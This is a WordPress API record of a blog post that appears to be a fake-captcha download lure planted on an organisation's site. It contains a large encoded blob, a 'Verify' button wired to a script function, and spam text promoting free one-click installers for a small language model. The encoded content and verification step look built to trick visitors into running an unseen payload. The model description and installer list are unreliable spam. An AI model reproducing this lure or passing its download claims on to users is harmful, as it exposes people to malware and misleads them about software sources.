fy3mhn+Mq6X+zSXtheILAhWX\/H3EjtAtqhe79+WfZB1+7gfPpWC4wQNi7FsDhs2z2y\/0iav6KT4zKpmdXKC0HwQEHFGmfMrwWnjDA+NIlyFdXpse4\/IjZERY0Fq7gaUoFtJtdTgdK+9GJ5qV5jRExtfY8cNObgssZ3zF3YZzmL17Gf\/z5zGYi\/WnPFGwZzg7ioOfVwBRj4jbdJzPMlcFVJaHKpTBYe4nO1nWsQDP06LuRXF8l06i2gwrZ67zFtWv65IQdpBI3de14l1F48L0ItnatYwnwgcyu4XoBxovZGrQrHSPhsIybDEfVcbIR\/zdrgOeR4yrVIi86jvQ7JihV7rip1mOsoocpAyyVk+tW24Z8WpzgFsuU4Eo2cYuTFCh7dQAJ2fhuTsIKMHbcMxfPm6doAxhVFg8rYONcEopehvy1v1Clcn+oJGABraJTBO0g9THBGh9LBDFOop0U3y8eyQPKdMHYIAzMK6yX9q1mLy9UttfT+I7atwt\/gWxgtQH6gt0QFdAGdfTrvgjAVlGUv8hMgRecXnXT9uFWy93dhjgQ8lQYZtl52JSa6A0PtGShrrYSWKGPq8eIfnMa6RquLtDLkseM63XiJQB\/OizM0Em6gK2i\/HcEU7fuNDkz7GpXUE5P97gbmJAvb3khM0fLllfl0rUn\/ajvrugypGa75JuVHHqGyiKp9FaeDcprbiwzB8aEMRlx1vzbHmlGRp5RJCtPoyCWCmSk4mtu4gQw1zVDxv+ZpKHaJc+zFCM3WzryuUetGzrom+z\/I+PQ6sSckWuf8i7igBjW3zhIUNDrqojgjMTe+zAur4f9f1rgoWD+geUI9Yl39a4o8fzRggpnr\/eGXh1vIK5mCcU4y6VkafBxCtUe4qLv6li2ulOMxgIHwU4zzJX+AqXQmXSKzn+WlIWeapcRTRjm5mMh13cuC8yA0hfo0PGJZLPpksQ2QohLRnb\/uWRDmKdmssYYLvyCS6TlIogMkp8enckjZ1s7oRO0h5k2a4qaBJlNG7pXcRtSlQIxM\/rTdTmlb53VsDNm7CB91u65z4NVqIyVYuDT+pjYk4nofjHfMBW+rp1cJX5i+3M0T9iO1uzSPujWPJHFS2S3Ur9yzjdCRGSUSuKY2ifJ7S\/x86ugmmRAwd1XN\/k2Kk1WXJ1dXs1QBiqMTrnY95LIb+PP79zUALOuQZ7q7jj6eMfUDOINDO\/2zigDrK7fclNnBRliKOpf6VapwmrpyvioWOflR7WuC9VqUWUAYqXz4RerfaqWx1dNsos5G9L9B3hoKk\/Rb\/TGA7vENrgmlRb5tL5AoMwEeHEqbDs4\/mp38a73keUTOQ6iROna3kqu8PKpvpY28gxLTPiRel5K9Wfaex7b61RPP5IrXKQZ4ZzpPBffy884rBSOvr\/c1tSshemQa4LWhzuyPah6MI8VQiOxmlmMsuvPmbydXOVvZsk7P83qmeZNFQxC+buel2OjktB0iZFsxe7RDlnZwyNmgNHQJchdRsvrrvVufb7E1DfYvDx36UQAX46sqk36fJdXne3GpQg3uFIqbvyJ8z8zJqfYwWMhqTUBh8J3Vyl7PN9t+uP6IEzLkJ3lxcsrJfBJy3G3DzTjScG74pMeVOhSd9C\/hSce43KyHdusttP7BKx\/jOl3f2LbtDU1jXp\/8djaF9O\/bGemKcFzP00UQlx7SzouPb77W3ZqBWgrbIuFPOSHqVjFYgWk4fu68tzH8tgLJIp\/gZ0ufZk3SStGpjxQ+4ww22pz1bFIDPolETlL3fAKKTTOLbMWkS+nENb05PlyChno8TwCcxUtxd+vcffaxWSA0USTRuK\/TF0NKvbzOc7yQjW05WTY31fViPxgtSYQ1iNzqnK9LtqvcvBIYhGjbtKV69l3Ooid4ZIMrfoIv\/fEYw6hCsuQ8v5NslYgpNPCXGukz9JRbzh8c80APSjkNwmlKOTfRLQYqcKryFZPe1VBjijM29YXChVNUNBrceR3wbv\/2RW3xkrnhV6qt99zYveIEXHEagMlCJSla9skRxp5Fcfi+Fikjq29YxWgJGBoFpKCG6yrAjo9dczXCA1Cx4WaGLjpJoHgI0JLyTXOnxUz4FBIcMJ+APf4pjYCWtnkoXiOwoa85MU8mmbLAT2C8T41LLShQnaX8sTZkqc02bpKQuBarVGoml1NrDkuRpIxiYV69sLbR6oWXCRN8Wyx2NgNFzFkh9\/4ILzsr7TjPwyuPoknllmcPX1ZGqouQ1g4X+lqr63zRkyofgoDJvQ8j2yTCCvWangxUdtjzLtSjN1eIOQ56UzMDE\/7BM0wZxUCO7nc0dwpL9hX7QzgI\/66rNlU+X\/wxkxs3QeJWQEN11\/qXOhJBrSGhZDAR\/wIW0CzHNhL+lid98LD7qZFzdya3XKMmqB2eaQMk53z9z6PLbLLsnbG3Q54ngs8UG0NVofT7HQIs5FVmgmztkXcnB4zGQCSgcXrxgKtj3+hahFEH7JK3KYciykZqrqqppu+D8lk\/AaVlToGap5KXzDJixvHHnjX8JrYYhPcOtYcxRsja9Posk9zOIg\/Sh+rD2QX99JalaPg6\/SsJ1ecXjpLnkLHQ6B8KEMK8se2fnM+JTBpfkBv5kjhLxin\/d+sVHu+s8O4rW+aHYUmuwP468cIaWBJG4fP5S4SuH1SHyT6tE+OrUC6foSut838KASgGpoSNP2tdqEDEHQYd7d44QBYYLyjmRX\/6U\/tY9CikvB5pHxpQbhlPXfIN3OS24DpcaKAuMAU4xRfeSdmiY9ic7J1qY+brsRLAI3hZ6pXj5vzZxquXXH4m6k7OA8EhTgGepu3RV7EZCHjWcFx+PUdL9IoCeetDCOZfjBOrXsgtN\/MO+XPbV437OVBgFD7R7s7j+L+vMLE00KkVPp992zFwTSH33G2GhB9BoO7udPLkQrmkwUBmpbklzrMwsgAlDJtzo+rPx69PnmoYa4u+VpHrk5fqNnKr43mZ7+PMTufhtygzUCyX+ue9LnIz6zhfgkd7Y9ZCz3pSOrrKKN6zfn8SO1X0wQfc9cn3pegHqnGbil1sZDcyZHAMbwob1bR3Q5WqE029hOJm0APi6TcD0PEvqnEDZLa8i44YtACktBkU3A2riyniR0wLgkQ03Bye6u5Dz1rUVO0Kjq7TLh3FmOjMgW5oJmRvtBfN1f\/0qY6XC3WK+iGW9VQI3XFbsq9mTJCDgtvhhDPD9S7F2FZ8\/VV\/617e5LIMiqpKZIvHTGf2lsnyEPqFtsp3LhbIC5hYN7YK98K6g7z7m7SWPJ7KvMCvFY+VmXbSYipQPsR28QVV803DJ5FQN8u9mnkytpuCgGZYUWh\/NzVR0kS8tX4uvHq1njyyD8+O5Is8cffYVmw8WSDmH2YIA45WTZXiKC\/vpc+1Aqw2dAsjhbKX6YzmJAndWSlREmLl3q+1W+z8+\/Ius8O9zlil8QhHhkseiXvQItfi\/g8gU8CofV6FW5IionHQxnyooyXH1QPVqS6eoav1+WK6gC3XrVVAqdLEH47nKt7o4ZGGT+MGbOPjq57yPJbm7XROGqOwXyOSytlKgojrMztHuyp1qtjfJ2SvFEwBaUT1N0AbxlqNhhLSh7DnHrdC\/HcVKDtwwRG+8UuOcwu4RyA+hgwh9MS5WiJT1v7EzragIPRFymQI7TaZK7FOXO1YZt7uMI2tYLFf\/L5DE7SR4hksw55DItNMZCQ\/A6MuiRw9FJfTMA+ePJOKVRf5\/eGhvIz9rRC2vvjBgB1e\/1q3lA18FNnzXMDjwvlH6FpJN8kim3KBzVGzN1SH79q91rmY01srMKuBMISZeLvyiC38xhFN60b+x9TzyRs4RkKVRdOMyHlrNXyf\/nwFHXrJ5iEUIOQJr3CjGq7ul0pmLflpKFnDWGhoBAEMrJeIP\/nDAADlI\/SUE7F1SXL1DfYohf2PbUTHd45uLeFWIFj84GxXmToI0o2RVilrOelMC0pBLqHfODD2\/RwXJJyRVB8d3FEZJ2I0W703pDSeq+8QijvAXXB2mVJEu06rRbMumd96HOrVyL1azoS\/sOVxO3uSrkcZXLkNqmymZmkDRFg9A4+28rGah9iIJqFALToINpnKyVSf1WnZGz62oPAL6bbQDrP\/Jc4d4sxq\/QFOCHiEeGAo+2IzW2iOI\/6\/GaaFFTiiANj3Swh+aUQZECUXw\/TmPTWLpwDSqtIAzF+P4M0RhTgMgDRr1qf90jCD2rbkKftr7Dpr00L7kFAqgd2K7hGy49cDlK3OLwfx8IoiWaCPYfp33rT6wujmhVPmwL5RIqhOq5hd5dnSw+mMMoiRD0lt\/QD+xkZQGitbYebOSKU+sDAkxdomHPeLsr7y12lDtQAqMvp8rDJuBVc\/CvUABAYwa87OQwOqUdPPsMuUqwT\/einDUiWk3VpCxR32omQWd90AE9tqrFzkVLFZoaNrQn2qJFW9Aw2ewWBMHDFG6kALDSBxEcyt4oL45e7BD28WyVxnDkxJsh4fu\/J5LgvjCMPFwlkgGk50KjK23N143mgiOSu8HMZG\/K7SkSWLqjxscyRIG3jyKhwxdzLshJ5iIQwoDNCeJR2WzvuP0ZfbaobpFY9etBn2CGn994LgfOXVcK31zLW72Fo+d8lLTPnqhwK5BlBlfdR2GoqYqkucmapcL0lWUpgAwNJU6k0VM0o2Y7J5FUl\/aGfBlMYny7QaAV8fzDlCsbBx0wpFmmsjZa\/MWqVib7htyNKIWdXh5EerOutblbxRu8NKA1nO2sv\/xj9HBW0Gr1M5VHaoE\/1jmtxToA4anU9AbU+n3tB5hViI18TI6QgUFbUzh1ncpkcp0ae7plFsB7r1psV6eY8TKnZ7106ZadZz7qrER8zX4KDXm1xDPzH\/yHqzcf740N4pPDXUAsZnJn5655gcJ8FBlwPZsp0B08f\/QlmefIbDci1vVXwUwVi1b36w8rgRJwSAfgFVfilafRDrdkiBO8qugGbG2e\/77ovlAv01lPfp\/xPyYlmMm8GZrSQxUl2QieZP62SWMbDC72IWh4FcZ1ECe9Mf30mZjuQIAiWJa8um\/hvqLESVuLB9PJZab4aywB\/lxLgVA39Q2YFnxyFhlLuWRn8waiHcIUrcv5O+bh5bnUR2milNIvRz4B1of\/HSeLUqwcHA3qsGEPZVj3BOsZdh45wEOz0gS0lvqjBML5Cfxcw+GbPs2Z2gFzZ43BHXQbl+n3vXx4EjgJjj3r1fKL9hQd9eoXlC43mNd1FSavFG\/n3wIigQe3nj6B5l6dEjH4VyU9xdq4ql9chYUKdYBGKgfmCb5S9OLWVZSFE4XQ6q48EGvd\/ex0FB1F62ZK9zKcBvV\/T7S2e2IKy5plJgAqrPxAVZIFFweWz8h2LCGzijtxoa9SAKhU5oSuPbue62l8j+885Uh2HYI+DA3b9C8c0Asrg6U3QdLa1UhhXpbtO8Zm\/8V\/ifonfaq4oXgfGlrG0e1dGulEVGRDKCdje2NoE5AUioP461K\/1KjzKdntRjAhKbEpl5XQPmw3Xy7X9aoX06c+29sTJPeeyiaHllOl6m\/O1lL\/+o0NhVxHePagGqOq\/5J7ZwfcAc6k+WKzu8yK9tgxVCy72OGtjhUhM\/+DXZ+0NO4C3uB184aERv+QrdLbvqUxmTxCP4ML13Ez4XLj3bIR6ApiKippTfSoGGF5arWtERkZus1YSByEhxNuodV1PoYW22kBlfW1auHlCm8ouJDvk+Gt2O7GP7qAGgGZ0p7f0SKuD000OkeuXGUkPErPAlauJeOo6fvLSOTobhKpI0UI2avxPNMb\/P\/KnOEyMHEeNaZjW+sEz3Dr0dYjdeGsekSHc28EHZZsNuz4SyywMPdRxS9iElcS4mrXCfY3p76JzXbPx\/kKb2vCq5z8FJ1DqmI0bICRqjDaHIv\/Q724KYd6g9ri1aM7rKzJ8q6HTUKsj0lHzkdHvfKh8zzkf3xfo6LOurv9t6X9LWSG+4no2lzAh8rlVOQGnsmP2kyI6eIDO4qLILzwm1q5meJVyyaVWHrdqvXUzYcs40gP84feVL17e9NppIy6lVXKBo2KjCPltQ3EWeNtOWooyYUsxulE3qZL\/RjAmflGaVuwTgHZ0+DaulJrg3b7UOIDlowzlH2dnrK2OHfrv7Y47k1YmSaKnc3HRTghR1l6k9yjosQ4fG+gYEEAJAPiuwCF3mBqDCi1NiMWTH+EXhz8G+8CIBNsDllVC7\/w8FopzzTbj6hvhtONpH8nTrFtKPVsB2jnz85N7QNiTNFNhUsURw93+jWqrUgaJIMaT+DoH1EfpxLrBEyFwRQGGHiDgkLHzHKLID6BCxlchzI\/YKEOUQkA8vzJejun94CVxQb8PSkNbLmSUT+Vs6xuvJEiclnc5vUvVxZLZB+SQsHSoOyZ9RhdD0x1QrV+qnsqxPB6kSVWYa062zKhsaNdnf7F5XZV4yxKcqT3goX69W\/sS+6Yr+iNaioykjU2Ot8B98yLQrj8jezld+2PVsq5LJnlAWm+zpZzqQGHCj9L7ebJR50HFaLTaNbkdeICwo9hYWxdIagbcTlWwKRqzcv3BNBNA7pLuTWRv0kX6rWqeHWfwFDHc2I5HTm+L5JiURNp4DfuOYUFhuBbhUbCVs\/TGle2OdWVJE1\/1u\/cNyOeaHh+iWSsTKO0bCZ3FWCqBx3a6w2eQ4\/QQ3MGY6+TZDYiVt6TIaebCFE54nGcLq75ReadXEI3khXf43vrHNRyUZtyI90zMDQy5hBCdTBj4Mmlt1TIEFgdkoRbVOyUXn69byR6D\/xU07Cyb1JIkliahDb8xbzPn9owEsa7je30X8ylvT1U4\/qX6JtucDwBAARoJPucWsgyqDN64s2zShywKckaXLillsbCX8gN\/SffxkgoUxr46qiN1agFK2077kuC\/kkdYnZPFolBfFDliEcpIeCTPKv8zg+jzmsnEfNbHLAOk78FSjnZ2EK3Qi\/tjbPyMxCVIFuVk2f5xNZEie8uyWrpqlKmnTUKnqxICURizT9J4xuA0J3Vhf1fF\/0LHbqRSEdl7e40wfXO1NV+1oe207Vd16DwItVKfG9m92dD\/Tp+PbGqB0yHXn8vSsqdvo4Xk7YakqhxEYzr9AqPpOZB8qZx6g7giiHCGAwdcTvi6Xi0UqiYr2\/cSrovDkdA+ZFSm1KFH3WhQv6YcyscP05TEansXXo08nOEEkhseI4XmbJBrqKK4pPEsm8+vrhq7LACmAWdS+s7uXjbvIzkLJuheaFOOrXVXFwS1fKxgf\/4UUbfLJhmKpErcIyZLcbBrUYLBp+iJCWUN26pMUGVPYYYCTjOVoCD2RFVO2G9+fmgW09\/wD455f9DC4k2joEZwESO+vFC1JTMZu4nGRxisoJnhz7wOhmxIQ8JGX6Q\/9BA2jIMOVjjdxXDA6pdZbJlQ0EyiTBA98RxbsgHEmpFmEnfNMUeJnR4IyXChOTocbILVj7w5zWQ4LoAApvPtrEHAhobeC7MB7Uww0uSRLMUsH2A0Fo+4gcB2WvUpze3upqYhGoTWdZq0MyPhaF+oaFLQDFbtSEnI6JU3eQl6AgOGhT5cHtX0cgXysbTORMLBR1VjS5WVPFLsBQel3AcrEgqIWwM3OJuYcwBley+AfzbeiCKrliqZ2po2w7Hms4jGJxUjlZYZ5D16kUChXlYzCllsPVIsj05v02T\/MHeO35NtYGkptagC5Hqf3n9j9Hf8YQRhgs5MWo1nc+QkNQp4i3n3ghOIxeE+pT93b+yDLuXoTyZLykBsW6rZfW5\/ltzl1jPvFVwAv9kgYWwIKt3xR8dvfGnKPi9maff4YfO6WZ0fzzjQg0VU+oxeGKrwBzrgl+c5jgIewAJ9Y+UgerP5jjnC5Ifb\/0+YfeoCcdDwYhVlHAnMfhyUbNrHMZyqMRQPUusqM7QYoCHpTgUtSrH7mSONFQ5braOhot34G08xx2Gzom3LloIiJ3b\/7D6Y66L\/MuC8gf4hXQbqmSR2qY94qA2jre02USfujUammpv7aKgghIx35i\/nWq8mJsEM5NoY6J3x1S0EK19ogKDvxtlTBsg\/I0AUVSfOgfsNLJSiUqFDdo2mFpSGEdM5DoEg8g1uzcqlH5NWYc8pNuKBkdn3hgPcFSug\/taBPZymiZrwSno6qNR6ZPGg7llmmm7ekqf8lyQPLG3cyRPKtDXCagmvHj++iofYLUXKr0R7BGCQb55YaYKeZmfDpRg45V35j6A7rjTye4qLM0qAaVvJw\/YLrpEeicKq80WtvqgnQRuoiFsJ6pDx56GFu45vN3oppEimSB4BP7OgW9ypCH\/zUnEC\/F3XUVHfUwBpLC+NqrO7MUYgO9VhfCEDzFhMsxxW5z5AzdPT5CkBr5Ez7SVdVT+n+NgtzPdbZTpaHpRMGWuRa6OBjWI+Cu6rka7xMf+E2CxcJmj\/kRF7hG0HE5mugjvzJ5kCQiZTxmZw97kEXGObdQRVZ2tpK0gXZhg2dXtRW65Zwn9ATOWMYn+llv7DU0u1OtDE4H1ZSQyuVF8z7L5Po0rhLsCtOJSv+oIk2T2XzfM5\/W3Cay89gFgkvmtSshcbaYt9qKRFuQ3yYalp5OnvhP79ppB\/JzZxdBKs7yS8lbcdQTh4JOJNv839V5yyaibcq8\/YXV4ZCt4i\/YJRTsXUg5gre+y+i9wVvUc4iCScAJbKDJ7+5mF6ZN33838CYbSsqTr75q0LHk2WvM\/DQ+F\/I\/8unEayXlNAW+fIJ\/N5Kgs68zNBTUUtnY+Nbv4yGrYP1oCLP3EzaRlueHJiADUDtI4o0tnNUXGSUZdcCY3a7gy3L4VDKW8Vc6YNcMdMSEpndckvmtFyct7sVLBASns2sKse4JKKONqtfxZVpOtni+XePOmII8+Z2kPLtEb\/Fb+W8KI4nl4vISch3sAUdbBwY9P0OUC8z+ZUDqOGyLEp30rsj6ad1mWXnQoeso0di0\/WMQ\/280+S1NOLRiluFz4oeCIp1rT0Yxxhf268vb34jtuem9QCPOiC0+QhyRtEzIZ1qtNo7+GKD9PejfmDifKHaQbJnm0xyLfTnOI5nL1wnHnCfkVygBwr\/6Tc9ulb9G+1rnI5MTh45vNczvOoQwEs9FcoVG9TXjPmhRjTGoLmMYr9USSU\/quMs43zO0xeowSuNAqjqzu5smeIOkVEGYStj4lUfRo\/v4I+w253KB\/48\/rgYYdrXtSjq+xBtwPbrCRGvFcBFzWV7QRxDrkwRM6ZwFRxzk1f9LXQWQKy2KPEgftgZrxaOpOgYzdAj71b\/He5qO2XwG3hKBByBKXc\/z4OyOZ1Hd0Tr\/vBNJ+SqDsz0w6VrLLeI1ghR\/9AhImPjumwu+nNjIshWtcjYNNEIspMdzoMH45N4FLgWv9FKBFSwmc49x2CtJw47SFBkjTiA1oNVt3wNrUi\/dDhdigtOmaZMJrf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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:22px;padding-left:17px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> modern architecture (<strong>Ada Lovelace \/ Ampere<\/strong> minimum)<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>tiny-<b>GptOssForCausalLM<\/b> is a <b>compact<\/b>, <b>open\u2011source<\/b> <b>causal language model<\/b> designed for <i>efficient inference<\/i> on consumer hardware. Built on a <b>reduced transformer architecture<\/b>, it retains strong performance on a variety of <b>NLP tasks<\/b> while requiring <i>minimal memory footprint<\/i>. The model leverages a <b>shared embedding layer<\/b> and <b>grouped\u2011query attention<\/b> to further reduce computational load, making it ideal for <i>edge devices<\/i> and research prototyping. A <b>comparison table<\/b> highlights its <b>parameters<\/b>, <b>training tokens<\/b>, and <b>benchmark scores<\/b> against <i>similar small models<\/i>:  <\/p>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters<\/th>\n<th>Training Tokens<\/th>\n<th>Avg. Perplexity<\/th>\n<\/tr>\n<tr>\n<td>tiny-GptOssForCausalLM<\/td>\n<td>125M<\/td>\n<td>1.5T<\/td>\n<td>21.3<\/td>\n<\/tr>\n<tr>\n<td>GPT\u2011Neo 125M<\/td>\n<td>125M<\/td>\n<td>1.0T<\/td>\n<td>20.9<\/td>\n<\/tr>\n<tr>\n<td>LLaMA\u20112 7B<\/td>\n<td>7B<\/td>\n<td>2.0T<\/td>\n<td>18.5<\/td>\n<\/tr>\n<\/table>\n<p>  Developers can fine\u2011tune it using standard <b>Hugging Face pipelines<\/b>, benefiting from its <b>permissive license<\/b> and <i>community\u2011driven improvements<\/i>.<\/p>\n<ol>\n<li>Script downloading optimized tokenizers designed specifically for complex localized languages suites<\/li>\n<li>Install tiny-GptOssForCausalLM FREE<\/li>\n<li>Setup utility enabling modern multi-head attention acceleration keys for host rigs<\/li>\n<li>Full Deployment tiny-GptOssForCausalLM Windows 10 No-Internet Version Easy Build FREE<\/li>\n<li>Installer configuring automated VRAM defragmentation tools for local loops<\/li>\n<li>tiny-GptOssForCausalLM Locally via LM Studio FREE<\/li>\n<li>Downloader pulling ultra-dense EXL2 quantizations of massive multi-modal backends<\/li>\n<li>tiny-GptOssForCausalLM Windows 10 Zero Config Complete Walkthrough FREE<\/li>\n<li>Script downloading specialized green-screen extraction weights for image suites<\/li>\n<li>tiny-GptOssForCausalLM Windows 11 One-Click Setup Step-by-Step<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The shortest path to running this model is by activatin [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[103],"tags":[],"_links":{"self":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8337"}],"collection":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/comments?post=8337"}],"version-history":[{"count":1,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8337\/revisions"}],"predecessor-version":[{"id":8338,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8337\/revisions\/8338"}],"wp:attachment":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/media?parent=8337"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/categories?post=8337"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/tags?post=8337"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}